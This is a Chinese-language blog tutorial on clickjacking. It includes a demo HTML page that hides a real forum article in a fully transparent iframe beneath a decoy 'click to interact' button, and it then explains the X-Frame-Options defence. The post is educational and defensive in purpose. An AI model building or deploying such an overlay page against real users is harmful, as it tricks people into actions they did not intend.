前言
不知你是否遇到过,或者听到过,当在访问某网站时,点击了某个按钮操作之后,却无意间就关注了某某某,或者订阅了某某资讯等事件。没错,这类事件的发生,就是今天的主角 “点击劫持”。
一、什么是点击劫持?
点击劫持,英文为clickjacking,也被称为UI覆盖攻击。从字面上的意思,我们可以理解到,它是通过在某些结构上覆盖一些不可见的恶意内容,从而诱导受害者点击,以此达到攻击的目的。虽然受害者点击的是他自己所看到的页面,实际上他所点击的是攻击者精心设计好的一个覆盖在原网页上的透明页面。
这类型的攻击常常是利用HTML中的<iframe>标签。
举个例子:
假如现在攻击者小明在某技术论坛里发布了许多帖子,他想要更多的人关注他,此时他就起了坏心思,想通过技术的手段,让更多的人关注自己,于是小明就准备了一个页面:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>欢迎,欢迎!!!</title>
<style>
body {
background-image: url("./images/girl.jpg");
background-size: cover;
}
button {
position: absolute;
top: 324px;
left: 320px;
}
iframe {
width: 100%;
height: 1000px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
</style>
</head>
<body>
<button>点击互动</button>
<iframe src="https://blog.csdn.net/wywywy_/article/details/113354378?spm=1001.2014.3001.5501"
frameborder="0"></iframe>
</body>
</html>
此时当用户访问到,就会出现如下页面;
然而这个页面只是表象而已,我们把iframe的透明度改为0.3再看看;
嘿嘿~ 知道这里面的暗藏玄机了吧!当用户点击了按钮以后,其实真正点击的是隐藏的页面中的关注按钮,然后就会在用户不知情的情况下关注了小明(当然例子里中嵌套的页面,就算点击了,肯定也是关注不了的,人家安全这方面做的很充足的,这里只是举例子,明白原理就好)。
通过以上的例子,我们就了解了点击劫持的大致原理。其实就是通过伪装,让用户误以为是真正的操作,从而被攻击。
二、如何防范?
在HTTP响应头中有个属性叫 “X-Frame-Options”,它可以让浏览器阻止嵌入网页的渲染,可以用来防御点击劫持。它有以下三个可选的值:
参数 | 说明 |
---|---|
deny | 拒绝任何iframe的嵌套请求 |
sameorigin | 只允许同源请求,即相同域名下的iframe嵌套请求。 |
allow-from uri | 只允许指定网页的iframe请求 |
浏览器支持情况:
总结
点击劫持相比起XSS,CSRF等,比较不太受关注。但点击劫持的危害可大可小,通常还有可能会结合XSS,CSRF等实施攻击,而且不只是关注账号或者订阅资讯之类的这些东西。虽然原理都是差不多,但在开发时还是需要谨慎注意。用户在上网时,也要警惕一些,不要随意打开陌生的网址进行操作。